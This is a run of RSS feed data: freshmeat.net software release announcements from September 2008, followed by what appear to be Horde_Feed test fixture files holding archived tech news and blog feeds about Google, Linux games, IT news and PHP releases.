Sep 2008 04:53:10 GMThttp://freshmeat.net/releases/285191/Imaginary Microcomputers R4 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/O3ERa_RwHg0/<img src="http://c.fsdn.com/fm/screenshots/70078_thumb.jpg" align="right" alt="Screenshot" hspace="10" vspace="10"> The idea of Imaginary Microcomputers is to design simple computers, comparable to vintage home computers, large numbers of which are simulated on a PC in parallel. The machines connect to each other with the goal of seeing efficient structures grow spontaneously, like crystals. <hr /> <strong>License:</strong> GNU General Public License v3 <hr /> <strong>Changes:</strong><br /> The Assembler IDE has been rewritten for proper multi-threading, leading to much better stability. It has a few small feature enhancements. <p><a href="http://feedads.googleadservices.com/~a/A37adUpReJ_SW6oCFF6_Fcip1Do/a"><img src="http://feedads.googleadservices.com/~a/A37adUpReJ_SW6oCFF6_Fcip1Do/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/O3ERa_RwHg0" height="1" width="1"/>http://freshmeat.net/releases/285190/Sun, 21 Sep 2008 04:52:16 GMThttp://freshmeat.net/releases/285190/QScintilla 2.3 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/JyQvA40m3_U/QScintilla is a port of the Scintilla C++ editor class to the Qt GUI toolkit. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This version is based on Scintilla v1.76. It adds high level lexer support for Fortran, Fortran77, Pascal, PostScript, TCL, XML, and YAML. <p><a href="http://feedads.googleadservices.com/~a/uTrE90ILKvnIdnFLcSfx7HOIVp0/a"><img src="http://feedads.googleadservices.com/~a/uTrE90ILKvnIdnFLcSfx7HOIVp0/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/JyQvA40m3_U" height="1" width="1"/>http://freshmeat.net/releases/285189/Sun, 21 Sep 2008 04:51:52 GMThttp://freshmeat.net/releases/285189/xorriso 0.2.6 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/-Q5gBJbHuwc/xorriso creates, loads, manipulates, and writes ISO 9660 filesystem images with Rock Ridge extensions. It can load the management information of existing ISO images, and it writes the session results to optical media or to filesystem objects. This is the standalone version that incorporates the libraries of libburnia-project.org and thus depends only on Linux 2.4 (or later), libc, and libpthread. No separate mkisofs and no CD/DVD burn program are needed. <hr /> <strong>License:</strong> GNU General Public License v2 <hr /> <strong>Changes:</strong><br /> This release can record very large data files (ISO 9660 Level 3) and helps with extracting them if an older Linux kernel is unable to read them properly. <p><a href="http://feedads.googleadservices.com/~a/9ZckeQYUueGtkCYeSerOvSMrYnw/a"><img src="http://feedads.googleadservices.com/~a/9ZckeQYUueGtkCYeSerOvSMrYnw/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/-Q5gBJbHuwc" height="1" width="1"/>http://freshmeat.net/releases/285188/Sun, 21 Sep 2008 04:51:31 GMThttp://freshmeat.net/releases/285188/LiquiBase 1.8.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/QpLTLVq-DlQ/LiquiBase is a DBMS-independent library for tracking, managing, and applying database changes. It is built on a simple premise: all database changes (structure and data) are stored in an XML-based descriptive manner and checked into source control. While there have been many attempts to provide a similar tool, LiquiBase aims to provide a solution that supports merging of changes from multiple developers, works well with code branches, supports a database refactoring IDE/plugin, and more. <hr /> <strong>License:</strong> GNU Lesser General Public License (LGPL) <hr /> <strong>Changes:</strong><br /> Improvements to preconditions (onFail and onError controls, several new precondition checks, and custom preconditions can be passed parameters). SQLite support. Context checking is now case-insensitive. Specifying a column as autoincrement for a non-autoincrement table does not cause an error. The end delimiter can be specified with SQL changes. Indexes can be created as unique. Required attributes for all changes are checked before execution. Command line migrator return codes are better. There are many more bugfixes. <p><a href="http://feedads.googleadservices.com/~a/6Au8tvhkJgKKbAQLOiJQ46oZLbI/a"><img src="http://feedads.googleadservices.com/~a/6Au8tvhkJgKKbAQLOiJQ46oZLbI/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/QpLTLVq-DlQ" height="1" width="1"/>http://freshmeat.net/releases/285187/Sun, 21 Sep 2008 04:51:07 GMThttp://freshmeat.net/releases/285187/Shed Skin 0.0.29 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/TrlkdH3yKOk/Shed Skin is an experimental Python-to-C++ compiler. It accepts pure but implicitly statically typed Python programs and generates optimized C++ code. The result can be further compiled to stand-alone programs or extension modules. For a set of 16 non-trivial test programs, measurements show a typical speedup of 2-40 over Psyco, about 10 on average, and 2-220 over CPython, about 35 on average. Not all Python features are supported, and only a subset of about 17 library modules, such as re and random. <hr /> <strong>License:</strong> GNU General Public License v3 <hr /> <strong>Changes:</strong><br /> datetime and ConfigParser support. staticmethod and property decorators. FreeBSD, OpenSolaris, and 64-bit support. GCC 4.3 fixes. Support for mapping keys ('%(key)x..' % some_dict). Improvements to the import mechanism. __init__ is much less of a special case now. Many fixes for calling ancestor methods (e.g. Parent.__init__). All example programs now compile as extension modules. There are many bugfixes. <p><a href="http://feedads.googleadservices.com/~a/vrRdf6fvHt6cFfkvFTyKRVN3O2Y/a"><img src="http://feedads.googleadservices.com/~a/vrRdf6fvHt6cFfkvFTyKRVN3O2Y/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/TrlkdH3yKOk" height="1" width="1"/>http://freshmeat.net/releases/285184/Sun, 21 Sep 2008 04:46:05 GMThttp://freshmeat.net/releases/285184/Bible-Discovery 2.2 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/OVCduABD7UM/<img src="http://c.fsdn.com/fm/screenshots/59744_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Bible-Discovery is complex Bible studying software. It contains several Bible translations, dictionaries, tools for helping to understand the texts in the original language, bookmark handling, customizable font size and colour, a biblical text importing pane, and a parallel and comparative Bible read feature. <hr /> <strong>License:</strong> Shareware <hr /> <strong>Changes:</strong><br /> The interface of program is clearer and more unambiguous. Knowledge of the advanced search window has grown significantly. The KJV (King James) Bible was reimported and contains morphological tags. <p><a href="http://feedads.googleadservices.com/~a/_DtCZybJdlAUVH10ilxi1t9o_MA/a"><img src="http://feedads.googleadservices.com/~a/_DtCZybJdlAUVH10ilxi1t9o_MA/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/OVCduABD7UM" height="1" width="1"/>http://freshmeat.net/releases/285183/Sun, 21 Sep 2008 04:44:29 GMThttp://freshmeat.net/releases/285183/Otk 0.76 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/gvlS539BG1g/<img src="http://c.fsdn.com/fm/screenshots/51400_thumb.jpg" align="right" alt="Screenshot" hspace="10" vspace="10"> Otk is a portable widget library for making graphical user interfaces for C programs. It emphasizes simplicity for the application programmer without eliminating capability. Based on OpenGL, Otk supports Linux, Unix, and other OSs neutrally and efficiently. It is simple and compact, and it strives for easy compilation and linking to other applications. In seeking to address several issues associated with earlier graphics APIs, Otk explores some interesting methods, such as window-relative layout instead of pixel-based layout. <hr /> <strong>License:</strong> GNU Lesser General Public License (LGPL) <hr /> <strong>Changes:</strong><br /> This release adds a function to change the mouse cursor icon. It has improved menu highlighting and performance. It fixes a maximum image size issue that could have affected some platforms. <p><a href="http://feedads.googleadservices.com/~a/gmd0871T4Hz2gUKHPYRJJFGQBv0/a"><img src="http://feedads.googleadservices.com/~a/gmd0871T4Hz2gUKHPYRJJFGQBv0/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/gvlS539BG1g" height="1" width="1"/>http://freshmeat.net/releases/285181/Sun, 21 Sep 2008 04:42:37 GMThttp://freshmeat.net/releases/285181/Pinot 0.89 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/ADiVjtIjT94/<img src="http://c.fsdn.com/fm/screenshots/57880_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Pinot is a D-Bus service that crawls, indexes your documents, and monitors them for changes. It is also a GTK-based user interface that enables you to query the index built by the service or your favorite Web engine, and display and analyze the results. It makes full use of advanced indexing and search facilities offered by Xapian, features language detection, dynamic document summaries, easy labelling of documents, and internal support for common file types. The D-Bus interface allows easy integration with other applications. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> Indexing and searching are now diacritics insensitive by default thanks to Unac. There's support for the removal of stopwords at query time. Short queries get better abstracts. Indexing of plain text and XML files and the use of boolean operators in spelling suggestions, both broken in 0.88, were fixed. Queries are de-hyphenated on line breaks. Spelling suggestions don't suggest the same thing over and over again. The Simplified Chinese and Brazilian Portuguese translation have been updated. <p><a href="http://feedads.googleadservices.com/~a/B18_wYpEeWvdgtVnlznn6XlAnw0/a"><img src="http://feedads.googleadservices.com/~a/B18_wYpEeWvdgtVnlznn6XlAnw0/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/ADiVjtIjT94" height="1" width="1"/>http://freshmeat.net/releases/285180/Sun, 21 Sep 2008 04:41:39 GMThttp://freshmeat.net/releases/285180/youtube-dl 2008.09.20 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/qnzRTus-fUk/youtube-dl is a small command-line program for downloading videos from YouTube.com. <hr /> <strong>License:</strong> Public Domain <hr /> <strong>Changes:</strong><br /> This release fixes the metacafe.com support and mitigates the UTF-8 filename problem in the majority of cases. <p><a href="http://feedads.googleadservices.com/~a/UMrFCmkPXsHiha6_pSObkjot_wU/a"><img src="http://feedads.googleadservices.com/~a/UMrFCmkPXsHiha6_pSObkjot_wU/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/qnzRTus-fUk" height="1" width="1"/>http://freshmeat.net/releases/285179/Sun, 21 Sep 2008 04:40:10 GMThttp://freshmeat.net/releases/285179/Guitar Trainer 1.1.6 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/U_QPbirYQ2k/<img src="http://c.fsdn.com/fm/screenshots/64849_thumb.jpg" align="right" alt="Screenshot" hspace="10" vspace="10"> Guitar Trainer is an application for mobile devices that helps musicians learn the fretboard of their stringed instrument thoroughly. It supports guitar, bass, banjo, ukulele, mandolin, and cavaquinho (in standard and alternate tunings). It includes a training mode, a game mode, and a tuner. It should work on any Java device supporting CLDC 1.1/MIDP 2.0. <hr /> <strong>License:</strong> Other/Proprietary License with Free Trial <hr /> <strong>Changes:</strong><br /> New translations for Turkish and Hindi were added. <p><a href="http://feedads.googleadservices.com/~a/4Wu_JVJckvwi4H6eOHqnakTz0l4/a"><img src="http://feedads.googleadservices.com/~a/4Wu_JVJckvwi4H6eOHqnakTz0l4/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/U_QPbirYQ2k" height="1" width="1"/>http://freshmeat.net/releases/285178/Sun, 21 Sep 2008 04:39:49 GMThttp://freshmeat.net/releases/285178/gnuvd 1.0.9 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/Mdoz7b1ttz0/<img src="http://c.fsdn.com/fm/screenshots/14769_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> gnuvd is a command-line client to the online Van Dale dictionary for the Dutch language. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release has been updated to work again after the latest changes in the VanD Web site. There are some code cleanups. <p><a href="http://feedads.googleadservices.com/~a/MML2xRaIGUzHxioWaRelqJe7os0/a"><img src="http://feedads.googleadservices.com/~a/MML2xRaIGUzHxioWaRelqJe7os0/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/Mdoz7b1ttz0" height="1" width="1"/>http://freshmeat.net/releases/285177/Sun, 21 Sep 2008 04:39:17 GMThttp://freshmeat.net/releases/285177/picviz 0.3 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/dAo7qIRYsvQ/<img src="http://c.fsdn.com/fm/screenshots/69894_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Picviz is a parallel coordinates plotter which enables easy scripting from various types of input (such as tcpdump, syslog, iptables logs, or Apache logs) to visualize your data and discover interesting results quickly. Its primary goal is to graph data in order to be able to quickly analyze problems and find correlations among variables. With security analysis in mind, the program has been designed to be very flexible, able to graph millions of events. <hr /> <strong>License:</strong> GNU General Public License v3 <hr /> <strong>Changes:</strong><br /> Data to draw can now be filtered. There is a DShield Perl class for pcv language generation scripts (tools/) for easy integration with dshield (IP addresses that match are displayed in red, etc.). There is a Penwidth property to increase line size. The pcv tool has been rewritten. A CSV plugin has been added. <p><a href="http://feedads.googleadservices.com/~a/xbR_fFwD6cIyIi2XWzBhvtRhvTo/a"><img src="http://feedads.googleadservices.com/~a/xbR_fFwD6cIyIi2XWzBhvtRhvTo/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/dAo7qIRYsvQ" height="1" width="1"/>http://freshmeat.net/releases/285176/Sun, 21 Sep 2008 04:38:39 GMThttp://freshmeat.net/releases/285176/GMAMEUI 0.2.5 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/Y8rmR0zNMos/GMAMEUI is a front-end for MAME on Linux. It helps the user play and configure arcade games more easily. GMAMEUI is an enhancement of GXMame, fixing a number of long-standing bugs, including adding support for SDLMame in preference over the now-obsolete X-MAME. New UI features were also added. <hr /> <strong>License:</strong> GNU General Public License v3 <hr /> <strong>Changes:</strong><br /> This release supports MAME 0.127. Handling of MAME audit processing has been modified to catch ROM errors and properly display invalid ROMs. The Italian translation is 100% complete. Missing/invalid ROMs are now reported properly upon launch. The main window remembers UI settings. If no preferences file is available, or values are missing, default values are used for the UI. Translatable strings have been added. Support to launch the GMAMEUI Help manual has been added. There are some code changes. <p><a href="http://feedads.googleadservices.com/~a/8U5dyvK356OdNZh54Vnyf2vqlto/a"><img src="http://feedads.googleadservices.com/~a/8U5dyvK356OdNZh54Vnyf2vqlto/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/Y8rmR0zNMos" height="1" width="1"/>http://freshmeat.net/releases/285175/Sun, 21 Sep 2008 04:28:23 GMThttp://freshmeat.net/releases/285175/Linux LiveCD Router 2.0.32 (VoIP Router branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/KxXCnB1_Am0/<img src="http://c.fsdn.com/fm/screenshots/42871_55462_thumb.gif" align="right" alt="Screenshot" hspace="10" vspace="10"> Linux LiveCD Router turns any old PC into a router, firewall, QoS traffic control, and VPN appliance and lets you speed up your Internet connection. It does not require installation and supports inexpensive hardware such as USB and PCMCIA WiFi and Ethernet cards. <hr /> <strong>License:</strong> Free To Use But Restricted <hr /> <strong>Changes:</strong><br /> This release updates iptables to version 1.4.0. It adds a new forwarding module. It has GrandCentral Style Service (limited). It includes Follow-Me, Ring-All-Phones, and PSTN Forwarding with integrated accounting. <p><a href="http://feedads.googleadservices.com/~a/BCq_Yg57Eevz868kXAhycyIoK60/a"><img src="http://feedads.googleadservices.com/~a/BCq_Yg57Eevz868kXAhycyIoK60/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/KxXCnB1_Am0" height="1" width="1"/>http://freshmeat.net/releases/285174/Sun, 21 Sep 2008 04:25:39 GMThttp://freshmeat.net/releases/285174/ Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-google.blogspace.com-index.xml0000664000175000017500000002352312653701626026612 0ustar janjan The Google Weblog http://google.blogspace.com/ new google news fast Launch: searchmash, an experimental site started by Google http://www.searchmash.com/ Uses Ajax and some other web2.0-ish features.

    ]]>         News: Google launches "Features, Not Products" initiative http://www.latimes.com/business/la-fi-google6oct06,0,945092.story?track=mostviewed-homepage Sergey Brin is telling employees to stop making old products and start improving new ones. "For example, said Chief Executive Eric Schmidt, Google plans to combine its spreadsheet, calendar and word-processing programs into one suite of Web-based applications."

    ]]>         Launch: Google Code Search http://www.google.com/codesearch Google now lets you do searches -- including regular expression searches -- across public source code.

    ]]>         Preview: Google testing new site design http://www.jamesyu.org/archives/2006/03/possible_google.html James Yu has a screenshot of a new design Google has been testing lately.

    ]]>         Launch: Google Pages, new Geocities-style site-building software http://pages.google.com/ Google has released a new program that gives users 100MB of web space to make simple HTML pages in.

    ]]>         Launch: Google running AdWords in newspapers http://www.chicagobusiness.com/cgi-bin/news.pl?id=19053 Google is buying the leftover ad space in the _Chicago Sun-Times_ and filling it with AdWords ads related to the rest of the content. I wonder how they're going to charge advertisers. The domains posted are the real domains, so it can't exactly be pay-per-click.

    ]]>         Launch: Google Music, search for bands and albums http://googleblog.blogspot.com/2005/12/searching-for-music.html

    ]]>         Story: Xooglers, Google's former Marketing Director tells his story http://xooglers.blogspot.com/ Some great stories about Google's early days, with more to come.

    ]]>         Launch: Click-to-Call AdWords, Google will let you call advertisers http://www.google.com/help/faq_clicktocall.html (screenshot)

    ]]>         Update: Blind test reveals Google offers best results http://www.webmasterbrain.com/seo-news/seo-tools-news/blind-study-finds-google-really-does-offer-best-results/ The Search Engine Experiment gives you the results from Yahoo, MSN, and Google without saying which is which. Currently, 41% of those who have taken the test picked Google (33% Yahoo, 26% MSN).

    ]]>         Launch: Google Analytics, see the statistics on your website http://www.google.com/analytics/ A free version of Urchin, a company Google bought. (official blog post)

    ]]>         Announce: Google to unwire Mountain View, WiFi on street lamps http://www.mercurynews.com/mld/mercurynews/business/13140472.htm You could also buy equipment to extend it into your house. (proposal)

    ]]>         Launch: Google adds Creative Commons support http://www.google.com/advanced_search The Google advanced search page now lets you limit your search to CC-licensed results.

    ]]>         Launch: Google Local Mobile, get Google Maps and more on your mobile phone http://www.google.com/glm Satellites, drag and drop, and more.

    ]]>         Preview: Google on the future of advertising http://www.nytimes.com/2005/10/30/business/yourmoney/30google.html?ex=1288324800&en=b0684c6ec54b2467&ei=5090&partner=rssuserland&emc=rss&pagewanted=all In a long New York Times piece, top Googlers speculate about the future of advertising, including Google selling TV ads, using more personalized information, and links to store inventory information.

    ]]>         Launch: Google Video adds 450 interviews with top television producers http://video.google.com/videosearch?q=%22Academy+of+Television%22+playable%3Atrue (official blog entry)

    ]]>         Update: Google "Smart Pricing" charges less for clicks from poorly-converting sites http://www.jensense.com/archives/2005/10/one_poorly_conv.html Details about how it works in the link.

    ]]>         Launch: Frappr, place photos of you and your friends on a Google Map http://www.frappr.com/ (sample map) It uses your zip code to figure out where to place you on the map.

    ]]>         News: Google strengthens focus on Greater China http://home.businesswire.com/portal/site/google/index.jsp?ndmViewId=news_view&newsId=20051025005549&newsLang=en Appoints "President of Sales and Business Development".

    ]]>         News: Google donates $350,000 to open source projects at Oregon State http://governor.oregon.gov/Gov/press_102505.shtml (Google blog post)

    ]]>         Preview: Google Base, a structured database hosted by Google http://blog.outer-court.com/archive/2005-10-25-n57.html (screenshots) An official statement from Google says the site was designed to "provide content owners an easy way to give us access to their content". (more screenshots)

    ]]>         Update: Google briefly releases Google Web Accelerator 2.0 http://37signals.com/svn/archives2/the_google_web_accelerator_is_back_with_a_vengeance.php The product that drove webmasters crazy was back...for a moment, at least.

    ]]>         Launch: Google Maps Mainia, a blog covering Google Maps apps http://googlemapsmania.blogspot.com/ There sure are a lot -- everything from ZipCars to urinals.

    ]]>         Update: Google now helps search for plane tickets http://www.google.com/search?q=lax+nyc Search for something like [lax nyc] and Google will help you buy plane tickets for that trip.

    ]]>         Update: Google Local adds restaurant details http://project.ioni.st/post/301#post-301 Now when you search for restaurants on Google Local (formerly Google Maps), you get details about the restaurant (location, food, reviews) along with its location. (example)

    ]]>         Launch: reservemy.com, displays hotels on a Google Maps http://www.reservemy.com/ See exactly where the available hotels are on a Google Map.

    ]]>         Update: Google adds tagging support http://google.blognewschannel.com/index.php/archives/2005/10/10/google-adds-tagging/ Tagging has been all over the place recently and apparently Google couldn't resist. Now you can tag sites in your search history for later retrieval.

    ]]>         Launch: Google RSS Reader http://www.google.com/reader/ Google joins the already crowded RSS aggregator space with their new ajax RSS reader, done in the style of Gmail. Blogger project manager Jason Shellen led the project.

    ]]>         Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-happypenguin.org-html-news.rdf0000664000175000017500000001150312653701626026675 0ustar janjan Happypenguin http://happypenguin.org A database of games and game-related stuff for Linux. Happypenguin.org http://happypenguin.org/images/button.jpg http://happypenguin.org GMAMEUI 0.2.5 (updated) http://happypenguin.org/newsitem?id=8667 More about GMAMEUI]]> OpenRedAlert 438 (updated) http://happypenguin.org/newsitem?id=8666 More about OpenRedAlert]]> The Attack of Mutant Fruits from Outer Space 1.0 (new) http://happypenguin.org/newsitem?id=8665 More about The Attack of Mutant Fruits from Outer Space]]> BitRock InstallBuilder 5.4.13 (updated) http://happypenguin.org/newsitem?id=8664 More about BitRock InstallBuilder]]> Freeciv 2.1.6 (updated) http://happypenguin.org/newsitem?id=8663 More about Freeciv]]> Wormux 0.8.1 (updated) http://happypenguin.org/newsitem?id=8662 More about Wormux]]> Square Annihilation (new) http://happypenguin.org/newsitem?id=8661 More about Square Annihilation]]> cave9 0.3 (updated) http://happypenguin.org/newsitem?id=8660 More about cave9]]> Freedroid RPG 0.11 (updated) http://happypenguin.org/newsitem?id=8659 More about Freedroid RPG]]> Kuklomenos 0.2.2 (updated) http://happypenguin.org/newsitem?id=8658 More about Kuklomenos]]> Game Search Use the text input below to search the Game Tome database search http://happypenguin.org/list ././@LongLink000 154 0003736 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-headlines.internet.com-internetnews-top-news-news.rssHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-headlines.internet.com-internetnews-top-news-0000664000175000017500000001452712653701626031635 0ustar janjan InternetNews Realtime News for IT Managers http://www.internetnews.com All the top news, features, analysis and insight into enterprise and Internet technology, geared for IT managers and delivered by the best in the industry. en-us Copyright 1996-2006 Jupitermedia Corporation http://backend.userland.com/rss rss@jupitermedia.com rss@jupitermedia.com The Many, The Proud, The PCs http://redir.internet.com/rss/click/www.internetnews.com/bus-news/article.php/3772946 Buh-bye Jerry. Microsoft shifts gears with its own 'I'm a PC' campaign. HP Slashes Corporate Marketing Staff http://redir.internet.com/rss/click/www.internetnews.com/bus-news/article.php/3772936 Reorganization results in about a hundred more pink slips at HP. Business Getting Harder For Chip Makers http://redir.internet.com/rss/click/www.internetnews.com/bus-news/article.php/3772931 Report finds there is less room for error than ever and even the richest players are stressed. Palin E-mail 'Hack' Was Hardly a Hack http://redir.internet.com/rss/click/www.internetnews.com/security/article.php/3772926 A quick Google search yielded everything the cracker needed to know to reset Palin's Yahoo e-mail password. So what is your mother's maiden name? CA Suit Could Be Trouble For IBM's DB2 Tools http://redir.internet.com/rss/click/www.internetnews.com/bus-news/article.php/3772921 A lawsuit launched by CA that is now in the courts may cause DB2 users some grief. Technical Analysis: Another Sign of a Bottom http://redir.internet.com/rss/click/www.internetnews.com/bus-news/article.php/3772916 The NYSE gave another sign of a major bottom on Friday. Investors Cheer Financial Bailout Plan http://redir.internet.com/rss/click/www.internetnews.com/bus-news/article.php/3772911 Investors responded enthusiastically Friday to the federal government's massive financial rescue plan, but the long-term process of sorting winners and losers is just beginning. Google's Web Search Share Soars to 63 Percent http://redir.internet.com/rss/click/www.internetnews.com/breakingnews/article.php/3772906 The search giant extends its lead as Yahoo drops. Android Is No Enterprise Mobile Threat http://redir.internet.com/rss/click/www.internetnews.com/mobility/article.php/3772901 Handset makers can't rest easy given platform's openness and consumer demands. Web 2.0: Political Opinion 'on Steroids' http://redir.internet.com/rss/click/www.internetnews.com/webcontent/article.php/3772896 Social media is putting its stamp on the intersection of technology and politics. Does PCI Compliance Equal Security? http://redir.internet.com/rss/click/www.internetnews.com/security/article.php/3772861 Not always, but it is a step in the right direction. Move Over for My Smartphone, Honey http://redir.internet.com/rss/click/www.internetnews.com/stats/article.php/3772821 Survey shows how mobile device use crosses work-life boundaries. Palm Presses On With Mixed Earnings Report http://redir.internet.com/rss/click/www.internetnews.com/mobility/article.php/3772796 Handset maker sees lots of challenges, and less revenue, to come. Intel's Latest Datacenter Discovery: Fresh Air http://redir.internet.com/rss/click/www.internetnews.com/infra/article.php/3772651 Research project finds that air brought in from outside the datacenter is just as good as blasting the air conditioner. Interop: Mobile Browsing Grows Up http://redir.internet.com/rss/click/www.internetnews.com/software/article.php/3772661 It's no longer a desktop only world as vendors aim to make the mobile Web a reality. Intel's Latest Datacenter Discovery: Fresh Air http://redir.internet.com/rss/click/www.internetnews.com/hardware/article.php/3772651 Research project finds that air brought in from outside the datacenter is just as good as blasting the air conditioner. Interop: Mobile Browsing Grows Up http://redir.internet.com/rss/click/www.internetnews.com/mobility/article.php/3772661 It's no longer a desktop only world as vendors aim to make the mobile Web a reality. iPhone Apps Policy Stirs Discontent http://redir.internet.com/rss/click/www.internetnews.com/bus-news/article.php/3772636 Still no word from Apple on its criteria for rejecting certain applications. Oracle Sees Tougher Days Ahead http://redir.internet.com/rss/click/www.internetnews.com/bus-news/article.php/3772656 Yes, the past looks good, but a note of caution was quietly sounded in the forecasts. EFF Sues Feds to Stop Domestic Spying http://redir.internet.com/rss/click/www.internetnews.com/security/article.php/3772641 With suit against AT&T stalled, watchdog group opens up a new front in legal challenge to government's warrantless surveillance program. Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-ilia.ws-feeds-index.rss20000664000175000017500000005471512653701626025355 0ustar janjan iBlog - Ilia Alshanetsky http://ilia.ws/ Here be dragons. en Serendipity 1.3.1 - http://www.s9y.org/ http://ilia.ws/templates/default/img/s9y_banner_small.png RSS: iBlog - Ilia Alshanetsky - Here be dragons. http://ilia.ws/ 100 21 PHP 5.2.6 Released http://ilia.ws/archives/188-PHP-5.2.6-Released.html PHP http://ilia.ws/archives/188-PHP-5.2.6-Released.html#comments http://ilia.ws/wfwcomment.php?cid=188 4 http://ilia.ws/rss.php?version=2.0&type=comments&cid=188 ilia@ilia.ws (Ilia Alshanetsky) Yesterday, yet another version of PHP 5, 5.2.6 was released. It look a bit longer then I hoped it would, but in the end results are definitely worth it. There are over 120 different bug fixes that are designed to make PHP that much more stable. Quite a few corner case crashes have been addressed, many of which were identified by the ever increasing unit testing (big thanks to all the folks writing tests), which now offers 55.7% code coverage.<br /> <br /> As always, there are a few security bug fixes as well, details of which you can find in the release announcement.<br /> <br /> To see the complete Change Log go <a href="http://www.php.net/ChangeLog-5.php#5.2.6" >here</a>, the more brief release announcement ca be found <a href="http://www.php.net/releases/5_2_6.php" >here</a>. Fri, 02 May 2008 11:51:44 -0500 http://ilia.ws/archives/188-guid.html Introduction to PHP 5.3 Slides http://ilia.ws/archives/187-Introduction-to-PHP-5.3-Slides.html PHP Talks http://ilia.ws/archives/187-Introduction-to-PHP-5.3-Slides.html#comments http://ilia.ws/wfwcomment.php?cid=187 11 http://ilia.ws/rss.php?version=2.0&type=comments&cid=187 ilia@ilia.ws (Ilia Alshanetsky) The slides from my talk at PHP Quebec on the upcoming PHP 5.3 release are up and can be found <a href="http://ilia.ws/files/phpquebec_php53.pdf" >here</a>.<br /> <br /> I hope that all the people who attended the talk had found it useful and are now convinced 5.3 is the way to go <img src="http://ilia.ws/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> Fri, 14 Mar 2008 17:23:37 -0500 http://ilia.ws/archives/187-guid.html Fun Extract from Microsoft Silverlight License Terms http://ilia.ws/archives/186-Fun-Extract-from-Microsoft-Silverlight-License-Terms.html Stuff http://ilia.ws/archives/186-Fun-Extract-from-Microsoft-Silverlight-License-Terms.html#comments http://ilia.ws/wfwcomment.php?cid=186 5 http://ilia.ws/rss.php?version=2.0&type=comments&cid=186 ilia@ilia.ws (Ilia Alshanetsky) If you bother to read the the MS Silverlight TOS you'll find this interesting bit which I found quite amusing:<br /> <br /> "IMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES. You can recover from Microsoft and its suppliers only direct damages up to U.S. <strong>$5.00</strong>".<br /> <br /> Wow, how generous! This is then followed by:<br /> <br /> "It also applies even if Microsoft knew or should have known about the possibility of the damages."<br /> <br /> Its good to know MS legal machine is working well, best of luck up holding this in any "sane" court. Mon, 07 Jan 2008 12:24:40 -0600 http://ilia.ws/archives/186-guid.html 5.2.5RC1 Released for Testing http://ilia.ws/archives/185-5.2.5RC1-Released-for-Testing.html PHP http://ilia.ws/archives/185-5.2.5RC1-Released-for-Testing.html#comments http://ilia.ws/wfwcomment.php?cid=185 6 http://ilia.ws/rss.php?version=2.0&type=comments&cid=185 ilia@ilia.ws (Ilia Alshanetsky) The first release candidate of 5.2.5 is now available for testing and can be downloaded from here:<br /> <br /> <a href="http://downloads.php.net/ilia/php-5.2.5RC1.tar.bz2" >http://downloads.php.net/ilia/php-5.2.5RC1.tar.bz2</a>(md5sum: 2f0c9ecbd50213958e9b69ec69f715ec).<br /> <br /> This RC includes a fair number of fixes since our last release and predominantly works on improving the stability of the 5.2 tree as well as including a small number of minor security fixes. I'd like to ask everyone to test this release against your code and setups, we are aiming for a quick release cycle and user feedback is critical for a successful release.<br /> Thu, 18 